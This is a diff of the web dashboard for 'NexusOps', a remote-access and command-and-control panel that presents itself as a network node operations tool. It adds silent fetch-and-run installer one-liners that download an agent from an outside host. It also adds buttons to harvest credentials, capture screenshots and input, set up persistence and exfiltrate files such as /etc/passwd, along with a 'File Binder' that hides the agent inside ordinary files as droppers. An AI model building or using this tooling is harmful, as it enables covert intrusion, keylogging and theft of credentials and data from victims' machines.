<button class="tab-btn active" onclick="switchTab('universal')"><i class="fa-solid fa-bolt"></i> Universal</button>
|
||||||
|
<button class="tab-btn" onclick="switchTab('binary')"><i class="fa-solid fa-box"></i> Binary</button>
|
||||||
|
<button class="tab-btn" onclick="switchTab('linux')"><i class="fa-brands fa-linux"></i> Linux</button>
|
||||||
|
<button class="tab-btn" onclick="switchTab('windows')"><i class="fa-brands fa-windows"></i> Windows</button>
|
||||||
|
<button class="tab-btn" onclick="switchTab('mac')"><i class="fa-brands fa-apple"></i> macOS</button>
|
||||||
|
<button class="tab-btn" onclick="switchTab('manual')"><i class="fa-brands fa-python"></i> Python</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content active" id="tab-universal">
|
||||||
|
<p class="tab-description" style="color: var(--accent-emerald);"><strong>Recommended:</strong> Auto-detects OS and runs the correct installer. Single command, any platform, fully silent.</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeUniversal">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install | bash</code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeUniversal', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content" id="tab-binary">
|
||||||
|
<p class="tab-description">Compiled standalone binary executable (no Python installation required on target system).</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeBinary">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span></code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeBinary', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
<div style="margin-top: 0.75rem;">
|
||||||
|
<a id="binaryDownloadLink" href="https://agent.thetempleofdoom.com/bin/NexusAgent" download="NexusAgent" class="btn btn-secondary" style="text-decoration: none;">
|
||||||
|
<i class="fa-solid fa-file-arrow-down"></i> Direct Download Compiled Executable (NexusAgent)
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content" id="tab-linux">
|
||||||
|
<p class="tab-description">Executes automated installer, configures systemd service, and starts background heartbeat daemon.</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeLinux">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install.sh | sudo bash</code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeLinux', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content" id="tab-windows">
|
||||||
|
<p class="tab-description">Downloads Python agent to ProgramData and launches background monitoring process.</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeWindows">iwr -useb <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install.ps1 | iex</code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeWindows', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content" id="tab-mac">
|
||||||
|
<p class="tab-description">Installs agent as a launchd background daemon with KeepAlive enabled. Auto-starts on login.</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeMac">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install-mac.sh | bash</code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeMac', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content" id="tab-manual">
|
||||||
|
<p class="tab-description">Download and run directly using standard Python 3 (No external dependencies required).</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeManual">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/agent.py -o agent.py && python3 agent.py --server <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span></code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeManual', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-info-box">
|
||||||
|
<i class="fa-solid fa-circle-info"></i>
|
||||||
|
<div>
|
||||||
|
<strong>Server Endpoint Pre-configured:</strong> All installers link to <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>.
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Multi-Control Node Center Modal -->
|
||||||
|
<div class="modal-overlay" id="commandModal">
|
||||||
|
<div class="modal-card" style="max-width: 720px;">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div class="title-with-icon">
|
||||||
|
<i class="fa-solid fa-sliders icon-accent"></i>
|
||||||
|
<div>
|
||||||
|
<h2>Node Control Center: <span id="cmdModalHostname">Node</span></h2>
|
||||||
|
<p>Full suite of cross-platform administrative & diagnostic actions.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button class="modal-close" onclick="closeCommandModal()"><i class="fa-solid fa-xmark"></i></button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-body">
|
||||||
|
<input type="hidden" id="cmdModalNodeId">
|
||||||
|
|
||||||
|
<div class="os-tabs" style="flex-wrap: wrap; gap: 0.25rem;">
|
||||||
|
<button class="tab-btn active" onclick="switchControlTab('shell', this)"><i class="fa-solid fa-terminal"></i> Terminal</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('service', this)"><i class="fa-solid fa-gear"></i> Services</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('process', this)"><i class="fa-solid fa-microchip"></i> Processes</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('diag', this)"><i class="fa-solid fa-stethoscope"></i> Diagnostics</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('network', this)"><i class="fa-solid fa-network-wired"></i> Network</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('exfil', this)"><i class="fa-solid fa-skull"></i> Exfil & Harvest</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('config', this)"><i class="fa-solid fa-sliders"></i> Agent Config</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Shell Tab -->
|
||||||
|
<div class="control-tab-content active" id="ctrl-shell">
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Run Shell Command</label>
|
||||||
|
<input type="text" id="cmdInput" class="form-input" placeholder="e.g. systemctl status nginx or df -h" onkeydown="if(event.key==='Enter') submitNodeAction('raw_command')">
|
||||||
|
</div>
|
||||||
|
<div class="quick-commands" style="margin-top: 0.5rem;">
|
||||||
|
<span class="quick-label">Presets:</span>
|
||||||
|
<button class="chip" onclick="setQuickCmd('uptime')">Uptime</button>
|
||||||
|
<button class="chip" onclick="setQuickCmd('df -h')">Disk Space</button>
|
||||||
|
<button class="chip" onclick="setQuickCmd('free -h')">Memory Free</button>
|
||||||
|
<button class="chip" onclick="setQuickCmd('docker ps')">Docker Containers</button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-actions">
|
||||||
|
<button class="btn btn-primary" onclick="submitNodeAction('raw_command')"><i class="fa-solid fa-paper-plane"></i> Run Shell Command</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Service Tab -->
|
||||||
|
<div class="control-tab-content" id="ctrl-service" style="display: none;">
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Service Name</label>
|
||||||
|
<input type="text" id="serviceNameInput" class="form-input" placeholder="e.g. nginx, docker, sshd, mysql">
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Action</label>
|
||||||
|
<div style="display: flex; gap: 0.5rem; margin-top: 0.25rem;">
|
||||||
|
<button class="btn btn-secondary" onclick="submitServiceAction('restart')"><i class="fa-solid fa-rotate"></i> Restart</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitServiceAction('start')"><i class="fa-solid fa-play"></i> Start</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitServiceAction('stop')"><i class="fa-solid fa-stop"></i> Stop</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitServiceAction('status')"><i class="fa-solid fa-info-circle"></i> Status</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Process Tab -->
|
||||||
|
<div class="control-tab-content" id="ctrl-process" style="display: none;">
|
||||||
|
<p class="tab-description">Inspect top CPU processes or terminate stuck process ID (PID).</p>
|
||||||
|
<div style="display: flex; gap: 0.75rem; align-items: flex-end;">
|
||||||
|
<button class="btn btn-primary" onclick="submitNodeAction('list_processes')"><i class="fa-solid fa-list"></i> Fetch Top Processes</button>
|
||||||
|
<div class="form-group" style="flex: 1;">
|
||||||
|
<label>Kill PID</label>
|
||||||
|
<input type="number" id="killPidInput" class="form-input" placeholder="e.g. 1420">
|
||||||
|
</div>
|
||||||
|
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitKillProcess()"><i class="fa-solid fa-skull"></i> Kill PID</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Diagnostics Tab (Features 1, 2, 5, 10) -->
|
||||||
|
<div class="control-tab-content" id="ctrl-diag" style="display: none;">
|
||||||
|
<p class="tab-description">Hardware, Storage, Environment & System Diagnostic Inspection.</p>
|
||||||
|
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem;">
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('get_hardware_specs')"><i class="fa-solid fa-microchip"></i> Hardware & CPU Specs</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('get_disk_partitions')"><i class="fa-solid fa-hard-drive"></i> Disk Partitions</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('get_env_vars')"><i class="fa-solid fa-code"></i> Environment Variables</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('export_diagnostics')"><i class="fa-solid fa-notes-medical"></i> Full Diagnostics</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Exfil & Harvest Tab -->
|
||||||
|
<div class="control-tab-content" id="ctrl-exfil" style="display: none;">
|
||||||
|
<p class="tab-description">File exfiltration, screenshot capture, credential harvesting, persistence.</p>
|
||||||
|
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem; margin-bottom: 0.75rem;">
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('screenshot')"><i class="fa-solid fa-camera"></i> Screenshot</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('harvest_credentials')"><i class="fa-solid fa-key"></i> Harvest Creds</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('ensure_persistence', {server_url: publicUrl || ('http://'+serverIp+':'+serverPort)})"><i class="fa-solid fa-anchor"></i> Ensure Persistence</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('update_agent', {url: (publicUrl || ('http://'+serverIp+':'+serverPort)) + '/agent.py'})"><i class="fa-solid fa-rotate"></i> Update Agent</button>
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Download File from Target</label>
|
||||||
|
<div style="display: flex; gap: 0.5rem;">
|
||||||
|
<input type="text" id="exfilPathInput" class="form-input" placeholder="e.g. /etc/passwd or C:\Users\admin\Desktop\secret.docx" style="flex:1;">
|
||||||
|
<button class="btn btn-primary" onclick="submitNodeAction('download_file', {path: document.getElementById('exfilPathInput').value})"><i class="fa-solid fa-download"></i> Exfiltrate</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Network Tab (Features 3, 4) -->
|
||||||
|
<div class="control-tab-content" id="ctrl-network" style="display: none;">
|
||||||
|
<p class="tab-description">Network Interface Cards & Active Established Connections.</p>
|
||||||
|
<div style="display: flex; gap: 0.5rem; margin-bottom: 0.75rem;">
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('get_network_interfaces')"><i class="fa-solid fa-ethernet"></i> Network Interfaces</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('get_active_connections')"><i class="fa-solid fa-plug"></i> Established TCP Sockets</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('network_stats')"><i class="fa-solid fa-list-numeric"></i> Listening Ports</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Agent Config Tab (Features 6, 7, 8) -->
|
||||||
|
<div class="control-tab-content" id="ctrl-config" style="display: none;">
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Set Node Tags (comma separated)</label>
|
||||||
|
<div style="display: flex; gap: 0.5rem;">
|
||||||
|
<input type="text" id="tagInput" class="form-input" placeholder="e.g. Production, WebServer, Proxmox">
|
||||||
|
<button class="btn btn-primary" onclick="submitTagUpdate()"><i class="fa-solid fa-tag"></i> Save Tags</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="form-group" style="margin-top: 0.75rem;">
|
||||||
|
<label>Adjust Heartbeat Rate (seconds)</label>
|
||||||
|
<div style="display: flex; gap: 0.5rem;">
|
||||||
|
<input type="number" id="heartbeatInput" class="form-input" placeholder="5" value="5" min="2" max="60">
|
||||||
|
<button class="btn btn-primary" onclick="submitHeartbeatRate()"><i class="fa-solid fa-clock"></i> Set Rate</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div style="margin-top: 1.25rem; border-top: 1px solid var(--border-color); padding-top: 1rem;">
|
||||||
|
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitSystemReboot()"><i class="fa-solid fa-power-off"></i> Reboot Target Machine</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Bulk Execution Modal -->
|
||||||
|
<div class="modal-overlay" id="bulkModal">
|
||||||
|
<div class="modal-card">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div class="title-with-icon">
|
||||||
|
<i class="fa-solid fa-layer-group icon-accent"></i>
|
||||||
|
<div>
|
||||||
|
<h2>Broadcast Task across All Connected Nodes</h2>
|
||||||
|
<p>Dispatches the selected administrative action to every online machine on your network.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button class="modal-close" onclick="closeBulkModal()"><i class="fa-solid fa-xmark"></i></button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Broadcast Command</label>
|
||||||
|
<input type="text" id="bulkCmdInput" class="form-input" placeholder="e.g. apt update -y or uptime or systemctl restart nginx">
|
||||||
|
</div>
|
||||||
|
<div class="modal-actions">
|
||||||
|
<button class="btn btn-secondary" onclick="closeBulkModal()">Cancel</button>
|
||||||
|
<button class="btn btn-primary" onclick="submitBulkCommand()"><i class="fa-solid fa-paper-plane"></i> Broadcast to All Nodes</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- File Binder Modal -->
|
||||||
|
<div class="modal-overlay" id="binderModal">
|
||||||
|
<div class="modal-card" style="max-width: 560px;">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div class="title-with-icon">
|
||||||
|
<i class="fa-solid fa-file-circle-plus icon-accent"></i>
|
||||||
|
<div>
|
||||||
|
<h2>File Binder — Embed Agent into Any File</h2>
|
||||||
|
<p>Upload any file. Get back a self-extracting dropper that opens the file normally while silently installing the agent.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button class="modal-close" onclick="closeBinderModal()"><i class="fa-solid fa-xmark"></i></button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Select File to Bind</label>
|
||||||
|
<div class="binder-dropzone" id="binderDropzone" onclick="document.getElementById('binderFileInput').click()">
|
||||||
|
<i class="fa-solid fa-cloud-arrow-up" style="font-size: 2rem; color: var(--primary-cyan);"></i>
|
||||||
|
<p style="margin-top: 0.5rem;" id="binderFileName">Click or drag any file here</p>
|
||||||
|
<span style="font-size: 0.75rem; color: var(--text-dim);">PDF, DOCX, XLSX, PNG, JPG, scripts, executables — anything</span>
|
||||||
|
</div>
|
||||||
|
<input type="file" id="binderFileInput" style="display: none;" onchange="handleBinderFile(this)">
|
||||||
|
</div>
|
||||||
|
<div id="binderStatus" style="display: none; padding: 0.75rem; border-radius: var(--radius-sm); text-align: center; font-size: 0.9rem;"></div>
|
||||||
|
<div class="modal-actions">
|
||||||
|
<button class="btn btn-secondary" onclick="closeBinderModal()">Cancel</button>
|
||||||
|
<div class="form-group" style="margin-top:0.75rem;">
|
||||||
|
<label>Payload Format</label>
|
||||||
|
<select id="binderFormat" style="width:100%%; background:rgba(15,23,42,0.8); border:1px solid var(--border-color); color:#fff; padding:0.5rem; border-radius:6px;">
|
||||||
|
<option value="sh">Shell Dropper (.sh) — Linux/macOS</option>
|
||||||
|
<option value="ps1">PowerShell (.ps1) — Windows</option>
|
||||||
|
<option value="html">HTML Payload (.html) — One-click browser</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
<button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
|
||||||
|
<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-info-box" style="margin-top: 0.5rem;">
|
||||||
|
<i class="fa-solid fa-circle-info"></i>
|
||||||
|
<div>
|
||||||
|
<strong>How it works:</strong> Your file + agent are fully embedded. No network needed after download. Opens the file AND silently installs the agent. <br><small>Formats: <code>.sh</code> (Linux/macOS), <code>.ps1</code> (Windows), <code>.html</code> (one-click browser payload)</small>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div style="text-align:center;padding:1.5rem;margin-top:2rem;border-top:1px solid rgba(148,163,184,0.1)"><a href="https://buymeacoffee.com/r26xrthzttg" target="_blank" rel="noopener" style="display:inline-flex;align-items:center;gap:0.5rem;background:linear-gradient(135deg,#FF813F,#FF5E0E);color:#fff;padding:0.5rem 1.2rem;border-radius:30px;text-decoration:none;font-weight:600;font-size:0.82rem;transition:all 0.2s;box-shadow:0 4px 15px rgba(255,94,14,0.3)"><span style="font-size:1.1rem">☕</span> Support This Project — Buy Me a Coffee</a></div>
|
||||||
|
<script src="app.js"></script>
|
||||||
|
|
||||||
|
<!-- Toast stack -->
|
||||||
|
<div id="toastStack" class="toast-stack"></div>
|
||||||
|
|
||||||
|
<!-- Auth gate overlay -->
|
||||||
|
<div class="auth-overlay" id="authOverlay" style="display:none;">
|
||||||
|
<div class="auth-card">
|
||||||
|
<i class="fa-solid fa-shield-halved auth-icon"></i>
|
||||||
|
<h2>NexusOps Access</h2>
|
||||||
|
<p>Enter your operator token to continue.</p>
|
||||||
|
<input type="password" id="authTokenInput" class="form-input" placeholder="Operator token" autocomplete="current-password">
|
||||||
|
<button class="btn btn-primary" id="authTokenSubmit" style="width:100%;margin-top:0.75rem;"><i class="fa-solid fa-unlock"></i> Unlock</button>
|
||||||
|
<p class="auth-error" id="authError" style="display:none;">Invalid token — try again.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Loot lightbox -->
|
||||||
|
<div class="modal-overlay" id="lootLightbox" style="display:none;" onclick="closeLootLightbox()">
|
||||||
|
<img id="lootLightboxImg" class="loot-lightbox-img" alt="preview">
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
963
backups/20260923/server.js
Normal file
963
backups/20260923/server.js
Normal file
File diff suppressed because one or more lines are too long
1041
backups/app.js.pre-originfix-20260910-042613
Normal file
1041
backups/app.js.pre-originfix-20260910-042613
Normal file
File diff suppressed because it is too large
Load Diff
1041
backups/app.js.pre-originfix-20260910-112558
Normal file
1041
backups/app.js.pre-originfix-20260910-112558
Normal file
File diff suppressed because it is too large
Load Diff
1041
backups/app.js.pre-syntaxfix-20260910-112535
Normal file
1041
backups/app.js.pre-syntaxfix-20260910-112535
Normal file
File diff suppressed because it is too large
Load Diff
544
backups/index.html.pre-leakfix-20260910-112422
Normal file
544
backups/index.html.pre-leakfix-20260910-112422
Normal file
@@ -0,0 +1,544 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>NexusOps — Central Network Node Operations</title>
|
||||||
|
|
||||||
|
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||||
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||||
|
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=JetBrains+Mono:wght@400;500;700&family=Outfit:wght@500;600;700;800&display=swap" rel="stylesheet">
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="styles.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<!-- Top Navigation Header -->
|
||||||
|
<header class="top-nav">
|
||||||
|
<div class="logo-area">
|
||||||
|
<div class="logo-icon">
|
||||||
|
<i class="fa-solid fa-network-wired"></i>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<h1 class="logo-text">Nexus<span>Ops</span></h1>
|
||||||
|
<span class="sub-text">Node Control & Telemetry Operations</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="nav-metrics">
|
||||||
|
<div class="metric-pill">
|
||||||
|
<span class="pill-label">Server Endpoint:</span>
|
||||||
|
<span class="pill-value highlight-endpoint" id="navServerEndpoint">http://10.30.20.44:3000</span>
|
||||||
|
</div>
|
||||||
|
<div class="metric-pill">
|
||||||
|
<span class="status-indicator online"></span>
|
||||||
|
<span class="pill-label">Status:</span>
|
||||||
|
<span class="pill-value" id="navConnectionStatus">Connected</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="action-area" style="display: flex; gap: 0.75rem;">
|
||||||
|
<a href="/api/export/csv" class="btn btn-secondary" style="text-decoration: none;" download>
|
||||||
|
<i class="fa-solid fa-file-csv"></i> Nodes CSV
|
||||||
|
</a>
|
||||||
|
<a href="/api/inputs/csv" class="btn btn-secondary" style="text-decoration: none;" download>
|
||||||
|
<i class="fa-solid fa-file-csv"></i> Inputs CSV
|
||||||
|
</a>
|
||||||
|
<button class="btn btn-secondary" onclick="openBinderModal()">
|
||||||
|
<i class="fa-solid fa-file-circle-plus"></i> File Binder
|
||||||
|
</button>
|
||||||
|
<button class="btn btn-secondary" onclick="openBulkModal()">
|
||||||
|
<i class="fa-solid fa-layer-group"></i> Bulk Task
|
||||||
|
</button>
|
||||||
|
<button class="btn btn-primary" onclick="openInstallerModal()">
|
||||||
|
<i class="fa-solid fa-plus"></i> Add Computer
|
||||||
|
</button>
|
||||||
|
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="killSwitch()">
|
||||||
|
<i class="fa-solid fa-skull"></i> Kill Switch
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<!-- Main Container -->
|
||||||
|
<main class="dashboard-container">
|
||||||
|
|
||||||
|
<!-- Stats Row Overview -->
|
||||||
|
<section class="stats-grid">
|
||||||
|
<div class="stat-card">
|
||||||
|
<div class="stat-icon cyan"><i class="fa-solid fa-server"></i></div>
|
||||||
|
<div class="stat-details">
|
||||||
|
<span class="stat-label">Total Nodes</span>
|
||||||
|
<h2 class="stat-number" id="statTotalNodes">0</h2>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="stat-card">
|
||||||
|
<div class="stat-icon emerald"><i class="fa-solid fa-circle-check"></i></div>
|
||||||
|
<div class="stat-details">
|
||||||
|
<span class="stat-label">Online Nodes</span>
|
||||||
|
<h2 class="stat-number" id="statOnlineNodes">0</h2>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="stat-card">
|
||||||
|
<div class="stat-icon rose"><i class="fa-solid fa-circle-exclamation"></i></div>
|
||||||
|
<div class="stat-details">
|
||||||
|
<span class="stat-label">Offline / Stale</span>
|
||||||
|
<h2 class="stat-number" id="statOfflineNodes">0</h2>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="stat-card">
|
||||||
|
<div class="stat-icon purple"><i class="fa-solid fa-bolt"></i></div>
|
||||||
|
<div class="stat-details">
|
||||||
|
<span class="stat-label">Avg Network CPU</span>
|
||||||
|
<h2 class="stat-number" id="statAvgCpu">0%</h2>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- Toolbar & Filter Row -->
|
||||||
|
<div class="controls-toolbar">
|
||||||
|
<div class="search-box">
|
||||||
|
<i class="fa-solid fa-magnifying-glass"></i>
|
||||||
|
<input type="text" id="searchInput" placeholder="Search by hostname, IP, OS or ID..." onkeyup="filterNodes()">
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="filter-group">
|
||||||
|
<button class="filter-btn active" data-filter="all" onclick="setFilter('all', this)">All Nodes</button>
|
||||||
|
<button class="filter-btn" data-filter="online" onclick="setFilter('online', this)">Online</button>
|
||||||
|
<button class="filter-btn" data-filter="offline" onclick="setFilter('offline', this)">Offline</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="view-toggle">
|
||||||
|
<button class="toggle-btn active" onclick="switchView('grid', this)"><i class="fa-solid fa-grid-2"></i> Grid</button>
|
||||||
|
<button class="toggle-btn" onclick="switchView('list', this)"><i class="fa-solid fa-list"></i> Table</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Nodes Grid -->
|
||||||
|
<div id="nodesGrid" class="nodes-grid-view">
|
||||||
|
<div class="empty-state">
|
||||||
|
<i class="fa-solid fa-satellite-dish fa-spin"></i>
|
||||||
|
<h3>Waiting for Agents to Connect...</h3>
|
||||||
|
<p>No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.</p>
|
||||||
|
<button class="btn btn-secondary" onclick="openInstallerModal()">Get Agent Install Script</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Telemetry Chart -->
|
||||||
|
<section class="chart-section">
|
||||||
|
<div class="section-header">
|
||||||
|
<h3><i class="fa-solid fa-chart-line"></i> Real-time Aggregate System Telemetry</h3>
|
||||||
|
<span class="badge">Live Stream</span>
|
||||||
|
</div>
|
||||||
|
<div class="chart-container">
|
||||||
|
<canvas id="telemetryChart"></canvas>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- Command Execution Audit Log -->
|
||||||
|
<section class="logs-section">
|
||||||
|
<div class="section-header">
|
||||||
|
<h3><i class="fa-solid fa-terminal"></i> Task & Control Execution Log</h3>
|
||||||
|
<span class="badge purple" id="logCount">0 events</span>
|
||||||
|
</div>
|
||||||
|
<div class="terminal-window">
|
||||||
|
<div class="terminal-body" id="auditLogContent">
|
||||||
|
<div class="log-entry system">[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- Master Centralized System & Audit Log Stream -->
|
||||||
|
<section class="logs-section">
|
||||||
|
<div class="section-header">
|
||||||
|
<h3><i class="fa-solid fa-file-lines"></i> Master Centralized System & Audit Log Stream</h3>
|
||||||
|
<div style="display: flex; align-items: center; gap: 0.75rem;">
|
||||||
|
<input type="text" id="logSearchInput" placeholder="Filter log output..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onkeyup="renderMasterSyslogs()">
|
||||||
|
<span class="badge" id="syslogCount">0 entries</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="terminal-window" style="height: 240px;">
|
||||||
|
<div class="terminal-body" id="syslogStreamContent">
|
||||||
|
<div class="log-entry system">[SYSTEM] Central log stream active. Listening for node syslog and audit events...</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- Master Intelligence Log — unified input capture, machine details, and system events -->
|
||||||
|
<section class="logs-section" id="intelSection">
|
||||||
|
<div class="section-header">
|
||||||
|
<h3><i class="fa-solid fa-eye"></i> Master Intelligence Log — Input Capture & Machine Telemetry</h3>
|
||||||
|
<div style="display: flex; align-items: center; gap: 0.75rem;">
|
||||||
|
<select id="intelNodeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
|
||||||
|
